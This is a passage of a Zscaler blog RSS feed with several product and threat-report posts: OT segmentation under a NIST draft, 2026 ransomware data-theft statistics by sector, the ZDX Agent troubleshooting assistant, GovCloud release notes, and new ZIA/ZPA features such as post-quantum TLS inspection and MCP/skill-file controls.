able to operate locally, and a check that sends plant traffic to a distant data center adds the delay NIST warns about.Zscaler Zero Trust Branch is built around those conditions. Typically deployed at Level 3 or 3.5 in a&nbsp;Zero Trust Purdue architecture, its&nbsp;OT/IoT segmentation discovers and classifies devices from the traffic moving between them, without agents, scanners, or network access control. It then places each device in a segment of its own, so device-to-device connections pass a policy decision, with no re-addressing and no production downtime. That reaches network-connected controllers at Level 1 and operator panels at Level 2, the levels the draft leaves to zone boundaries.The appliance at the site becomes each device's gateway, so device-to-device policy is enforced locally with no round trip to the cloud, which answers the latency concern NIST raises. For the redundancy NIST requires, sites typically run the appliances as an&nbsp;active and standby pair. Devices that need to talk constantly or ones which can’t support a network of one, such as a controller and the operator panel that watches it, can&nbsp;share a small segment and communicate directly, while anything leaving that segment still passes policy. Traffic headed beyond the site goes to the Zero Trust Exchange, where&nbsp;internet, SaaS, and private application policy is applied, so a compromised device cannot reach past the plant either.Remote access also follows NIST's management-network pattern.&nbsp;Zscaler Privileged Remote Access brokers vendor and engineer sessions through the Zero Trust Exchange with no inbound ports open at the plant. It injects credentials from a vault and rotates them, so vendors never hold a password and shared logins stop circulating on the plant floor. Files a technician moves into a session can be scanned and detonated in&nbsp;Zscaler Cloud Sandbox before they reach the target, the remote-session counterpart to the file scanning NIST lists as zero trust in practice. Sessions are&nbsp;time-bound and recorded, which addresses&nbsp;the vendor access problem we see in almost every OT workshop.If something still manages to get in, the Ransomware Kill Switch tightens device-to-device policy in graduated steps, the isolation discipline laid out in our&nbsp;analysis of CI Fortify.It’s also important to understand the limits. Level 0, the sensors, valves, and motors wired directly to controllers, sit outside any network-based control and are generally protected through the controller. Isolation also cannot fix weaknesses in a specific controller or stop an attacker who already holds an expected device such as the engineering workstation, so the run-mode switch, programming protection, patching, and project-file integrity checks in the joint advisory still apply. A site that loses its cloud connection entirely needs its own isolation plan, which the CI Fortify guidance covers. Three things to do before the comment period closesFirst, map the carve-out against your own plant by listing what can reach each controller today, area by area. If the answer is anything in the zone, that is the exposure Section 5.3 describes.Second, inventory the connectivity nobody approved. The draft warns that cellular modems and vendor-managed connections can bypass enterprise and OT security controls and tells operators to inventory, approve, and restrict them.Third, comment. The Level 3 line is drawn around what the devices can do. Its control overlay already lists isolation of system components for high-impact systems, with no OT-specific discussion attached. Asset owners who have isolated controllers below Level 3 without asking the devices to participate can tell NIST so by emailing&nbsp;sp800-82rev4@nist.gov by November 30, 2026, using the comment template on the&nbsp;draft's publication page.To see where your plant stands against the draft,&nbsp;request an OT architecture workshop and we will map what can reach your controllers today. You can also&nbsp;hear from our customers directly on how they use Zscaler for OT security.]]></description>
            <dc:creator>Bryan Ashley (Zero Trust Networking, Principal Architect)</dc:creator>
        </item>
        <item>
            <title><![CDATA[Ransomware Data Theft Surged 275% in 2026: Schools, Hospitals, and Government Agencies Had Some of the Largest Claims]]></title>
            <link>https://www.zscaler.com/jp/blogs/product-insights/ransomware-data-theft-surged-275-2026-schools-hospitals-and-government</link>
            <guid>https://www.zscaler.com/jp/blogs/product-insights/ransomware-data-theft-surged-275-2026-schools-hospitals-and-government</guid>
            <pubDate>Thu, 01 Oct 2026 16:19:24 GMT</pubDate>
            <description><![CDATA[Data exfiltrated by leading ransomware groups jumped 275.8% year over year to 896.2 terabytes, according to the&nbsp;Zscaler ThreatLabz 2026 Ransomware Report. That is more than seven times the volume recorded during the 2023–2024 reporting period. As organizations move more sensitive information through modern digital operations, and increasingly through AI-enabled systems, attackers have more high-value targets to steal and more ways to pressure victims once they do.Government, education, and healthcare organizations were among the largest individual data theft incidents observed during the reporting period. Below, we break down what ThreatLabz observed across each sector, including a notable surge in attacks on utilities, and why these industries continue to attract ransomware campaigns. For the full view across industries and threat groups, download the&nbsp;Zscaler ThreatLabz 2026 Ransomware Report. How initial access is changingMany ransomware groups are shifting away from relying solely on malware delivery. ThreatLabz uncovered an initial access broker targeting employees who held&nbsp; manager positions primarily in non-technical departments such as accounting/finance, sales, operations, HR, and marketing, where a single compromised identity can open doors to sensitive data and essential services. Playbooks like spam bombing, IT-themed Microsoft Teams vishing, and abuse of legitimate support tools help adversaries gain a foothold quickly.Generative AI is making these playbooks easier to execute. ThreatLabz observed AI accelerating everything from reconnaissance and social engineering to malware development, including a surge in new malware families where tooling appeared to have been created with GenAI assistance. Some of the largest data theft claims involved government, education, and healthcareBased on activity visible on ransomware leak sites, organizations in these sectors were tied to some of the largest data theft incidents observed during this reporting period.Government. Ransomware attacks targeting government organizations declined 27% year over year, and the sector ranked ninth overall. Despite the decrease, government organizations were tied to the largest data theft claim in the ThreatLabz dataset: Babuk2 claimed to have stolen 30 TB of data from a government organization.Healthcare. Healthcare ransomware activity declined 24% year over year, but the sector remained one of the most targeted industries overall, ranking fourth. INC Ransom claimed to have stolen 20 TB of data from a large healthcare organization, one of the largest claims in the dataset. In a separate incident, attackers used spam bombing and IT-themed impersonation to gain initial access, then pursued extortion without encrypting systems. The victim paid a $2 million ransom even though files were never encrypted.Education. Ransomware activity targeting education declined 17% year over year, with the sector ranking eleventh. Pear, a relatively new ransomware group, claimed to have stolen 16 TB of data from a U.S. university. ShinyHunters, first observed in 2025, also drew attention for an extortion&nbsp;campaign targeting the education sector.Utilities. While utilities had too few victims (10) in the prior year to include in the formal year-over-year comparison, the sector rose sharply by 622% to 65 victim organizations. As the Ransomware Report notes, ransomware attacks on sectors that support essential services carry implications beyond their absolute victim counts, with ripple effects through supply chains and dependent operations.While overall attack volume against government, healthcare, and education decreased year over year, the scale of individual data theft incidents grew. The campaigns are fewer. The damage per campaign is larger.&nbsp; Why these sectors attract ransomware campaignsThese sectors share characteristics that make them effective extortion targets:Compliance pressure is built in. ThreatLabz found that during ransom negotiations, threat actors often cite regulatory requirements, including HIPAA, SEC disclosure rules, and GDPR, directly to intensify pressure on victims. This tactic applies across industries, but for highly regulated sectors like government and healthcare, the stakes are especially acute. The theft of protected records can itself constitute a regulatory breach, meaning compliance and legal consequences are already locked in regardless of whether the ransom is paid to prevent public exposure.Trust is a currency. For government agencies, healthcare providers, schools, and utilities, a breach can become a community-wide event, not just an IT issue.Downtime carries outsized consequences. Essential services create urgency and have limited tolerance for prolonged disruption. How to strengthen ransomware defensesThe scale and sophistication of ransomware threats in 2026 demand both immediate and strategic action:Adopt a zero trust architecture. Remove implicit trust and enforce least-privilege access across users, devices, and workloads. Connecting users to specific applications rather than placing them on the network limits what a compromised identity can reach and prevents the lateral movement that leads to large-scale data theft.Inspect encrypted traffic. Real-time TLS/SSL inspection is critical because payload delivery and C2 traffic are often hidden inside encrypted flows.Treat data as the primary target. The incidents in this report show that data exfiltration, not encryption, is driving extortion. Use inline DLP controls and plan for exfiltration scenarios with clear incident response playbooks.Fight AI with AI. Apply AI-powered tools to identify patterns, detect anomalies, and accelerate response, especially as attackers use GenAI to scale social engineering and develop new tooling.See our full ransomware prevention guidance and best practices in the report.The ThreatLabz 2026 Ransomware Report offers deeper analysis of ransomware trends, attacker tactics, and victim data across all industries, along with detailed guidance on how a zero trust architecture mitigates ransomware risk. Download the full report here.]]></description>
            <dc:creator>Adam Ford (Chief Technology Officer)</dc:creator>
        </item>
        <item>
            <title><![CDATA[ZDX Agent: Agentic IT Operations for Admins]]></title>
            <link>https://www.zscaler.com/jp/blogs/product-insights/zdx-agent-agentic-it-operations-admins</link>
            <guid>https://www.zscaler.com/jp/blogs/product-insights/zdx-agent-agentic-it-operations-admins</guid>
            <pubDate>Wed, 30 Sep 2026 15:34:04 GMT</pubDate>
            <description><![CDATA[Help IT teams quickly pinpoint whether user experience issues stem from the device, network, Zero Trust Exchange, or application so secure access through the Zscaler Zero Trust Exchange also delivers a better digital experience.SASE has changed how users connect to applications. Instead of backhauling traffic through legacy networks, users connect from anywhere, over any network, to private apps, SaaS platforms, and the internet through a cloud-delivered security architecture.That shift is essential for Zero Trust transformation, but it also changes how IT teams troubleshoot. Traditional monitoring tools rely on siloed point-agents, one for device health, another for network pathing, and another for application monitoring. Because these point-products operate in isolation, they lack the shared end-to-end context required to solve complex SASE performance issues, resulting in war rooms and finger-pointing.When a user says, “Salesforce is slow,” “Zoom is choppy,” or “I can’t access an internal app,” the issue could be caused by the endpoint, Wi-Fi, ISP, DNS, Zscaler Zero Trust Exchange, or the application itself.For IT, network, security, and service desk teams, the hardest question in SASE is often:Is this performance issue caused by my SASE deployment, the network, the user’s device, or the application?That is where&nbsp;Zscaler Digital Experience (ZDX) becomes critical and where ZDX Agent, part of Zscaler’s ZAgent, empowers admins with Agentic IT Operations.&nbsp; The operational gap in SASESASE brings networking and security together in the cloud. But when troubleshooting still depends on manually pivoting across dashboards, logs, tickets, and team handoffs, IT operations can remain slow and fragmented.A single user issue can trigger multiple teams:The service desk checks the endpoint.Network operations checks Wi-Fi, ISP, and routing.Security teams check access policy, ZIA, or ZPA behavior.Application teams check SaaS or private app health.Each team may have a piece of the answer, but not the full picture. The result is often finger-pointing, escalation, and lost productivity.ZDX helps solve this by monitoring digital experience across the full user-to-application path, including the SASE deployment, the network, the user’s device, or the application. ZDX Agent takes that one step further by allowing teams to ask questions in natural language and receive a structured root cause analysis with supporting evidence and suggested remediation steps. What is ZDX Agent?ZDX Agent is an AI-powered digital experience agent that helps IT teams investigate user experience issues using natural language.Instead of starting with, “Which dashboard should I open?” teams can start with the issue they need to solve:“Why is this user having a poor experience?”“Analyze Wi-Fi health for all users in the San Francisco office.”“Troubleshoot Zoom call performance for this user.”“Which network leg is causing latency?”“Why did users experience poor performance for Salesforce Lightning in the last 12 hours?”ZDX Agent can help analyze signals across device health, Wi-Fi, network path, ISP performance, application response, collaboration tools to suggest remediation steps.To move teams from symptom to resolution instantly, ZDX Agent combines three core AI skill sets into a single interface:Knowledge Skills: Instantly answers how-to queries and architectural guidance, eliminating time spent searching through technical documentation.Data Analytics Skills: Automatically scans days of raw network, endpoint, and security telemetry in seconds to surface hidden Wi-Fi, ISP, and application anomalies.Troubleshooting Skills: Executes end-to-end root cause investigations across the entire SASE path and delivers clear, actionable remediation steps for IT teams to execute immediately.The goal is simple: help teams move from symptoms to evidence to resolution faster. Why ZDX Agent matters for the Zscaler Zero Trust ExchangeThe Zscaler Zero Trust Exchange securely connects users, devices, workloads, and applications without placing users on the corporate network. It enforces policy close to the user, brokers access based on identity and context, and helps organizations deliver secure connectivity at scale.But secure access and great user experience must go together. If users are protected but struggling with slow SaaS performance, poor call quality, or intermittent access, IT needs to know why and fast.ZDX provides the experience telemetry. ZDX Agent helps turn that telemetry into answers.Together, they help teams understand:Whether a problem is isolated to a user, location, app, ISP, or network pathWhether performance degradation is related to endpoint health, Wi-Fi, Zscaler path, policy, or application responseWhether an issue should be owned by IT, NetOps, SecOps, an ISP, or an application teamWhich actions can help restore user productivity fasterIn other words, ZDX Agent helps make the Zero Trust Exchange not only secure and scalable, but also observable, explainable, and easier to operate. Use case 1: Determining whether the issue is SASE, the network, or the appIn a SASE environment, users connect through multiple layers: endpoint, local network, internet, Zscaler services, and the destination application. When performance drops, IT teams need to understand where the degradation occurred before they can engage the right team.With ZDX Agent, teams can start with a prompt such as:“Troubleshoot slow application performance for this user.”ZDX Agent can analyze the user-to-app path and help determine whether the issue is tied to endpoint resources, Wi-Fi signal, network latency, Zscaler path, or the application itself. Why it matters for SASE: Teams can distinguish between security service issues, network conditions, and application-side degradation faster, reducing unnecessary escalations and helping users get back to work. Use case 2: Reducing MTTR across Wi-Fi, ISP, and routing issuesIn hybrid work, many user experience issues start outside the enterprise network. Employees connect from home, branch offices, airports, cafés, and customer sites. Local networks and ISPs are often outside IT’s direct control, but they still shape how users experience SASE.ZDX Agent can help teams investigate questions such as:“Which network leg is causing latency?”&nbsp;OR&nbsp;“Analyze Wi-Fi health for users in this office.”The agent can correlate Wi-Fi quality, roaming behavior, access point health, ISP latency, packet loss, and application experience. This is especially useful for NetOps teams trying to determine whether an issue is local, regional, ISP-related, or tied to a broader service path.Think about a complex escalation that requires many people and many hours to diagnose before it gets traced to an intermediate ISP. With ZDX and agentic troubleshooting, that type of investigation can be accelerated because the relevant telemetry is already correlated across the user-to-app path.Hear directly from our customers, on how to use ZDX Agent to diagnose and solve his Wi-Fi and app issues.&nbsp;Why it matters for SASE: A poor network underlay can look like a SASE issue. ZDX Agent helps prove where the problem lives, so teams can take targeted action instead of guessing. Use case 3: Distinguishing policy issues from performance issuesSecurity teams are often pulled into performance escalations because users assume the security platform is blocking or slowing access. Sometimes the issue may involve policy. Other times, the root cause is Wi-Fi, ISP latency, DNS, application response time, or endpoint health.ZDX Agent can help security and IT teams ask:“Is this access issue caused by policy or network degradation?”&nbsp;OR&nbsp;“Which apps have slow server response times on a direct path?”This helps teams determine whether an issue is related to ZIA, ZPA, policy behavior, or something outside the security control plane.Why it matters for SASE: Zero trust requires strong policy enforcement, but users still expect seamless access. ZDX Agent helps teams validate whether policy is working as intended while identifying non-policy causes of poor experience. Use case 4: Empowering the service desk with expert-level troubleshootingMany digital experience issues begin as service desk tickets. The challenge is that L1 and L2 teams may not have deep expertise across networking, endpoint performance, Zscaler architecture, SaaS behavior, and collaboration tools.ZDX Agent helps close that skills gap by giving analysts a guided way to investigate issues such as:“Why did this user’s experience drop today?”&nbsp;OR&nbsp;“Troubleshoot Teams call quality for this user.”Instead of escalating immediately, the analyst can receive a structured report with likely root cause, supporting evidence, and recommended next steps.&nbsp;Why it matters for SASE: As SASE environments scale, operational expertise must scale with them. ZDX Agent helps more teams resolve issues directly and escalate with better context when specialized support is needed. From dashboard-driven to question-driven operationsTraditional operations are dashboard-driven. Teams must know where to look, which metrics matter, and how to connect signals across tools.ZDX Agent, an Agentic IT Operations for Admin solution, is question-driven. Teams start with the outcome they need:“Find the root cause of poor experience for these users.”“Show me whether this issue is isolated to one location.”“Identify whether the problem is Wi-Fi, ISP, Zscaler path, or the application.”That shift matters because SASE operations are inherently cross-domain. User experience depends on multiple systems working together. ZDX Agent helps analyze those systems together. Making ZDX value clear in a SASE architectureZDX makes digital experience visible across the full path from user to application. ZDX Agent makes that visibility easier to consume and act on.For organizations adopting SASE, this means:Faster troubleshooting: Reduce time spent manually correlating data across domains.Clearer ownership: Identify whether the next step belongs to endpoint, network, security, ISP, or application teams.Better user experience: Detect and resolve issues that affect productivity.Stronger confidence in zero trust: Prove that secure access is working—and quickly isolate when something else is not.More scalable operations: Give service desk, NetOps, and security teams a common experience-driven source of truth.The result is a stronger operational foundation for the Zscaler Zero Trust Exchange: security teams can enforce zero trust, IT teams can monitor experience, operations teams can troubleshoot faster, and users can stay productive. The future of SASE is autonomous and experience-awareSASE has already transformed secure access. The next step is transforming how that environment is operated.Because in a SASE world, the question is no longer just:“Is the user secure?”&nbsp;It is also:&nbsp;“Can the user work, and if not, do we know why?”With ZDX Agent, IT teams can answer that question faster, with evidence, and with a clearer path to resolution.Watch the latest&nbsp;ZDX Agent webinar featuring a customer panel with Salesforce.]]></description>
            <dc:creator>Cynthia Tu (Sr. Product Marketing Manager, DEM)</dc:creator>
        </item>
        <item>
            <title><![CDATA[What&#039;s New in GovCloud: September 2026 Zscaler Product Updates]]></title>
            <link>https://www.zscaler.com/jp/blogs/product-insights/what-s-new-govcloud-september-2026-zscaler-product-updates</link>
            <guid>https://www.zscaler.com/jp/blogs/product-insights/what-s-new-govcloud-september-2026-zscaler-product-updates</guid>
            <pubDate>Wed, 30 Sep 2026 14:13:22 GMT</pubDate>
            <description><![CDATA[With fiscal year-end, audit cycles, and shifting mission priorities all competing for attention, it's easy for product updates to stack up unread. Here is a curated roundup of notable Zscaler GovCloud updates from September, with quick context and scan-friendly takeaways you can share across security, network, and operations teams. Highlights include the rollout of Experience Center (a unified management console for the Zero Trust Exchange platform), AI-powered application segment recommendations in ZPA, a fully managed Zero Trust Gateway offering in AWS, and expanded DLP controls for Google Drive link expiration and Claude tenant profiles in ZIA. Experience Center, Unified Management ConsoleZscaler has started rolling out Experience Center to GovCloud. Experience Center is a unified, cloud-native management console for the Zscaler Zero Trust Exchange platform. It is designed for CISOs, CIOs, network administrators, cybersecurity practitioners, and service desk teams who manage zero trust security policies, endpoint agents, internet and SaaS access, private application access, and digital experience monitoring.Experience Center consolidates these management functions into a single interface with persona-driven workflows, role-based access control, and unified analytics, replacing the fragmented multi-console workflows that traditional point product environments require.For more details, check out our blog. Zscaler Internet Access (ZIA)Zscaler Internet Access (ZIA) is Zscaler's secure internet and SaaS access service, providing policy-based protection and visibility for users wherever they work. For many federal environments, ZIA is central to enforcing acceptable use, protecting sensitive data, and maintaining consistent security controls across a distributed workforce.This month's ZIA updates expand governance controls for generative AI applications, strengthen DLP capabilities with proximity matching and automated link expiration, and extend cloud app control for Google Gemini.HighlightsSupport for Claude in Tenant Profile: The Tenant Profiles feature now extends to the Claude application, allowing admins to provide access to specific workspace IDs for Claude. This helps agencies govern AI application usage at a tenant level. (FedRAMP Moderate and High)Support for External Link Expiration in Google Drive: Admins can now set periodic or custom expiration periods for Google Drive links (internal or external), after which file access is automatically revoked. Four new expiration-based actions are available in the Edit DLP rule window (Remove Collaborators, Remove External Sharing Links, Remove Internal Sharing Links, and Remove Sharing After Expiry), with manual expiration available under Remediation Actions on the SaaS Assets with Incidents page and matching fields added to the /casbDlpRules APIs. (FedRAMP Moderate)Support for New Match Type on Custom DLP Dictionaries: Custom DLP dictionaries now support near and not-near proximity matching, letting admins define how close (in bytes) phrases from phrase groups must be for a dictionary to detect and count them as a match. This adds precision to content detection without requiring additional dictionaries. (FedRAMP Moderate and High)Cloud App Control Policy: Upload Action for Google Gemini: The Cloud App Control policy now supports a granular Uploading action for the Google Gemini application and its instances, added under Allow application access in the Add/Edit AI &amp; ML Rule window. (FedRAMP Moderate and High)Expanded SSPM Controls for Box: Four new Advanced SaaS Security Posture Management controls were added for Box. (FedRAMP Moderate and High)For full release notes: https://help.zscaler.us/zia/release-upgrade-summary-2026 Zscaler Private Access (ZPA)Zscaler Private Access (ZPA) provides secure, zero trust connectivity between users and private applications without exposing those applications to the internet. It helps organizations reduce attack surface while improving access experience, which is especially important for distributed users, mission partners, and hybrid work environments common across federal agencies.This month's ZPA updates introduce AI-powered capabilities in Limited Availability that help teams optimize application segment configuration and gain visibility into segment usage patterns.HighlightsAI Recommendations for Application Segments (Limited Availability): ZPA now offers AI-powered recommendations for application segments. This feature analyzes user logs and suggests application segments based on application similarity or user behavior, helping teams refine their segmentation strategy and reduce manual configuration effort. (FedRAMP Moderate and High)Application Segments Usage (Limited Availability): Admins can now view or download Application Segments Usage reports from the Zscaler Admin Console to review which application segments are actively used and which user groups are accessing them. This provides visibility that supports access reviews and optimization. (FedRAMP Moderate and High)For full release notes: https://help.zscaler.us/zpa/release-upgrade-summary-2026 Zscaler Digital Experience (ZDX)Zscaler Digital Experience (ZDX) provides visibility into end-user device health, application performance, and network path quality. For federal teams managing distributed endpoints across agencies and field locations, ZDX helps identify and resolve experience issues before they impact productivity or mission delivery.This month's ZDX updates deliver Cloud Path probe enhancements and a refreshed filter design across the console.HighlightsTCP Type Enhancements: Admins can now select a specific TCP traceroute type when configuring a Cloud Path probe. Resilient TCP retries using the Conventional TCP type if the initial connection fails, while Strict TCP does not fall back if the connection fails. These options give teams more control over probe behavior in environments where firewalls may block SYN-based traceroutes. (FedRAMP Moderate and High)Design Update for Filters: Filters across ZDX have been updated with a new color palette and typography for improved readability and consistency. (FedRAMP Moderate and High)For full release notes: https://help.zscaler.us/zdx/release-upgrade-summary-2026 Zscaler Client ConnectorZscaler Client Connector is the unified endpoint agent that steers traffic to ZIA, ZPA, and ZDX services. It ensures consistent policy enforcement regardless of where users connect from, which is critical for agencies supporting remote and hybrid workforces.This month includes a significant Windows release, an Android/ChromeOS update addressing multiple security vulnerabilities, and Admin Console fixes.HighlightsZscaler Admin Console 4.5.5: Fixes a pagination issue affecting user search results on the Enrolled Devices page, a Device Details file download timeout, a blank Protocol dropdown when adding a custom IP-based application bypass in Experience Center, and a sync issue where users added to groups already entitled to Private Access did not receive access after Update Policy. (FedRAMP Moderate, August 14; FedRAMP High, August 7)Zscaler Client Connector 4.9.0.465 for Windows: Addresses a range of stability and connectivity issues, including a stuck Restarting service status, Internet Unreachable errors over machine tunnels in no-default-route environments with an explicit proxy, partner-tenant reauthentication failures, slow connections with many hostname-based trusted networks, Endpoint DLP detection when enabled pre-enrollment, disconnections with FIPS libraries, several VDI re-enrollment and AWS Windows Server issues, slow app loading from loopback proxy delays, and excessive memory use with unsupported certificates. Parallel maintenance releases 4.8.0.300 and 4.7.0.376 shipped the same day.Zscaler Client Connector 4.2.0.173 for Android and ChromeOS: Adds support for the ind.zscalertwo.net subcloud, fixes multiple Firebase-reported crashes, and addresses security vulnerabilities including a local denial-of-service vector (CVSS 7.0), remote code execution vulnerabilities (CVSS 7), and an authentication bypass for portal-only communications (CVSS 6.8). Also fixes a ChromeOS-only authentication failure with Google Workspace Always On VPN and improves Z-Tunnel 2.0 and Private Access reconnection after connectivity is restored. A follow-up release, 4.2.0.174, fixes a reauthentication failure introduced in 4.2.0.173.Additional Releases: Windows 4.9.0.455 and 4.8.0.291 include installer mitigation logic for a rare blue-screen upgrade condition, a Firewall posture check fix, and a captive-portal high-CPU fix.For full release notes: https://help.zscaler.us/client-connector/release-upgrade-summary-2026 Cloud &amp; Branch ConnectorZscaler Cloud &amp; Branch Connector helps extend Zscaler policy enforcement and traffic forwarding for workloads running in public cloud environments. It supports organizations that need consistent security controls for cloud-hosted services while enabling architectures aligned to modernization initiatives.This month introduces a fully managed, cloud-native security offering in AWS, available in Limited Availability.HighlightsZscaler Zero Trust Gateways in Amazon Web Services (Limited Availability): Zscaler has introduced a fully managed, cloud-native SaaS security offering in AWS that allows organizations to secure workload traffic and eliminate the need to manage security infrastructure in their AWS environment. It provides the same security controls for cloud-to-internet and cloud-to-cloud communication. Zscaler supports AWS commercial on the FedRAMP Moderate cloud. (FedRAMP Moderate)For full release notes: https://help.zscaler.us/cloud-branch-connector/release-upgrade-summary-2026 Authentication Service (Zidentity)The Zscaler Authentication Service (Zidentity) provides centralized identity and access management for the Zscaler platform. It supports authentication policies, MFA enforcement, and user lifecycle controls that help agencies meet identity-centric zero trust requirements.HighlightsCustomize Password Policy: Admins can configure the password policy to deactivate a user account after a specific number of unsuccessful authentication attempts and reject a specific number of previously used passwords. Both values are customizable from 3 to 10 in the Zscaler Admin Console. (FedRAMP Moderate and High)For full release notes: https://help.zscaler.us/zidentity/release-upgrade-summary-2026 ConclusionWant the full details? Use the links above to review the complete release summaries, and check back next month for the next GovCloud update roundup.Zscaler continues to invest in a robust GovCloud roadmap and remains committed to supporting the unique security, compliance, and operational requirements of the federal market. We'll keep delivering enhancements that help agencies and federal partners strengthen resilience, simplify operations, and advance mission success.]]></description>
            <dc:creator>Jose Arvelo Negron (Manager, Sales Engineer)</dc:creator>
        </item>
        <item>
            <title><![CDATA[What’s New in Zscaler SSE]]></title>
            <link>https://www.zscaler.com/jp/blogs/product-insights/what-s-new-zscaler-sse</link>
            <guid>https://www.zscaler.com/jp/blogs/product-insights/what-s-new-zscaler-sse</guid>
            <pubDate>Mon, 28 Sep 2026 19:30:00 GMT</pubDate>
            <description><![CDATA[IntroductionMore than half of the Fortune 500 and over 40% of the Global 2000 already run on Zscaler. They moved security to the cloud, inline and close to the user, sending their traffic through the world's largest inline security cloud.Enterprises running firewalls and VPN could argue they had time. AI has taken that argument away.Attackers now use AI to turn a disclosed CVE into a working exploit in hours, generate malware variants faster than signature pipelines can catalog them, and stand up phishing sites that vanish before reputation feeds notice them. Research shows defenders had roughly 63 days between disclosure and exploitation in 2018; today, exploitation routinely happens before a patch exists. At the same time, traffic is moving to WebSockets, QUIC, and HTTP/3 that appliance-era inspection was never built to parse. And the post-quantum shift isn’t coming; it’s here. Browsers already negotiate post-quantum key exchange by default, which means a growing share of encrypted traffic is invisible to any inspection layer that can’t keep up.&nbsp;Perimeter architectures cannot close either gap. A firewall that has to backhaul, decrypt and correlate after the fact is losing a race it was never designed to run, and it can’t inspect a handshake it can’t join. The only architecture built for machine-speed threats is one that inspects every transaction inline, in the cloud, at the moment it happens, including traffic that’s already post-quantum.That is the architecture the world's largest enterprises already chose.At&nbsp;ZenithLive 2026, we introduced major architectural advancements across both&nbsp;Zscaler Internet Access (ZIA) and&nbsp;Zscaler Private Access (ZPA). Together, they represent a unified philosophy: every transaction across the internet, SaaS, and private applications must be subjected to real-time Zero Trust verification without adding operational complexity.Here is a small but important subset of new capabilities across the platform.Part 1: What’s New in Zscaler Internet Access (ZIA)Inline security is only as effective as the traffic that receives an actual, real-time verdict. When inspection engines induce latency, teams resort to exceptions where breaches occur. The latest innovations in ZIA focus on closing inspection blind spots, eliminating latency tradeoffs, and equipping SOC teams with rich transactional context.1. Zscaler is Post-Quantum Ready.&nbsp;Enterprise traffic is moving to protocols designed for speed and future cryptographic resilience. Inspection engines must keep pace:Post-Quantum Cryptography (PQC) Readiness: Most post-quantum coverage focuses on "harvest now, decrypt later" – an adversary recording encrypted traffic today to break it once a sufficiently capable quantum computer exists. That risk is real, the timeline is genuinely unknown, and nobody who tells you they know the date does.But there's a nearer-term problem that gets far less attention, and it isn't hypothetical. Browsers already negotiate hybrid post-quantum key exchange by default. As server-side support spreads, more and more sessions will complete a handshake your inspection layer cannot participate in. At that point a middlebox has two options, and both are bad: fail open and lose visibility, or fail closed and break the connection. The question that matters in 2026 isn't, “am I quantum-safe?” It's “when both endpoints go post-quantum, do I go blind?”So we sequenced our work as visibility, then inspection, then forwarding:PQC visibility and analytics: Classical versus post-quantum cipher usage across your traffic, a crypto inventory to plan migration against, and six new Web Insight logging fields covering client and server key exchange algorithms, digital signature algorithms, and client-side proposals. You cannot plan a migration you cannot measure, and most organizations currently cannot measure this. This is available today to Zscaler customers.PQC traffic inspection at scale: TLS inspection with hybrid ML-KEM / DH key exchange, delivering real-time inspection and policy enforcement across every combination: PQC client to PQC server, classical client to PQC server, and PQC client to classical server. No configuration change is required to start seeing PQC traffic. In beta now, this feature will be in limited availability later this year.IPsec with post-quantum pre-shared keys: quantum-safe forwarding to Zscaler from PPK-capable VPN gateways on your premises, so the tunnel carrying the traffic is protected on the same terms as the traffic itself. This feature will be available to customers early next year.&nbsp;Alongside these, two controls for organizations with specific cryptographic obligations:&nbsp;custom crypto profiles, which let administrators configure, restrict or prioritize cipher suites during TLS inspection with per-profile minimum TLS versions, and&nbsp;custom certificate key lengths supporting RSA-4096 and ECDSA P-256 for intermediate certificates driven largely by German BSI requirements, though the applicability is broader.Modern AI Protocols (WebSockets, QUIC, HTTP/3): Because streaming AI interfaces rely heavily on WebSockets for real-time model interaction, ZIA delivers deep bidirectional text inspection across sanctioned applications (including Microsoft Copilot and Grammarly), alongside native enforcement for QUIC, HTTP/3, and WebTransport. In beta now; this feature will be in limited availability later this year.2. Eliminating Sandbox Latency: AI Instant Verdict and CDRThe historical dilemma of sandboxing has always been the tradeoff between accuracy and latency. Accurate remediation takes minutes; business moves in seconds. When employees need a file immediately, security teams face pressure to allow downloads before analysis completes.AI Instant Verdict: Powered by a model trained on more than 600 million file samples, ZIA now scores files inline. Anything scoring 91–100 is blocked immediately, before it reaches an endpoint. In production, about 91% of files receive an instant benign verdict and are delivered with no perceptible delay, some are escalated for deeper dynamic analysis, and about some are blocked outright. Throughput runs to 10,000+ files in 20 minutes.The point is not that the model replaces detonation. It doesn't – the 9% still goes to the sandbox, and that's where it belongs. The point is that the common case stops waiting on the uncommon one. This feature is available today.Content Disarm and Reconstruction (CDR): For workflows where a file is likely benign but immediate access is critical,&nbsp;CDR strips active macros and embedded scripts from Office documents and PDFs, reconstructing a sanitized version in real time. Rather than debating allow-versus-block, users get safe files instantly while eliminating file-based attack surfaces. This feature will be available to all current ZIA customers in Limited Availability starting early next year.Brand Phishing Defense: Modern credential harvesting pages stand up, harvest credentials for six hours, and vanish before URL reputation feeds catch up. ZIA’s brand phishing engine inspects visual layout cues, credential input forms, and page construction in real time, rendering verdicts on zero-hour phishing infrastructure independently of historical domain reputation.This feature will be available to all current&nbsp;ZIA customers in Limited Availability starting early next year.3. Securing the New Executable: Agentic AI and MCP ArchitectureFor thirty years, security stacks assumed malware meant compiled binaries (EXEs, DLLs, ELFs). Today, the definition of an executable has fundamentally changed.As developers and business units deploy agentic AI frameworks, these tools download instruction manifests, skill files, and connect to Model Context Protocol (MCP) servers. A skill file is a plaintext file, but functionally, it is an executable program instructing an autonomous agent to execute actions with user permissions. Conventional security controls overlook them completely.ZIA extends inline enforcement to agentic workflows:Rogue MCP Server Blocking:&nbsp;Prevents local systems, enterprise internal applications, and autonomous agents from establishing connections to unauthorized, vulnerable, or malicious Model Context Protocol (MCP) servers across the network layer. This feature will be available later this year.Agentic Tool Download Inspection:&nbsp;Identifies, inspects, and halts unauthorized agentic AI frameworks and tooling at download time rather than discovering them later at runtime. This feature will be available later this year.Skill File Sandbox Detonation:&nbsp;Inspects and behaviorally analyzes text-based skill manifests and tool instruction files within Cloud Sandbox upon download before they can be loaded by an agent. This automated dynamic analysis catches both known malicious skills and novel variants that lack signatures. This feature will be available later this year.&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;4. Comprehensive Visibility: Offline Channels and JA4 FingerprintingInline coverage has a structural blind spot: files that never traverse the network. A contractor's USB stick, an AirDrop between two laptops in the same room, a Bluetooth transfer. These are just a meaningful fraction of ways malware actually arrives in offices.Cloud Sandbox now operates across three channels rather than one:Inline sandbox: real-time blocking of malicious content in traffic.Endpoint Sandbox: unknown EXE and DLL files arriving over offline channels are hashed and queried; if the file is unknown, it's sent to Cloud Sandbox for full analysis, with the client notifying the user while the check runs.API-driven file analysis: on-demand submission for investigation, supporting multiple API keys, so the SOC can push 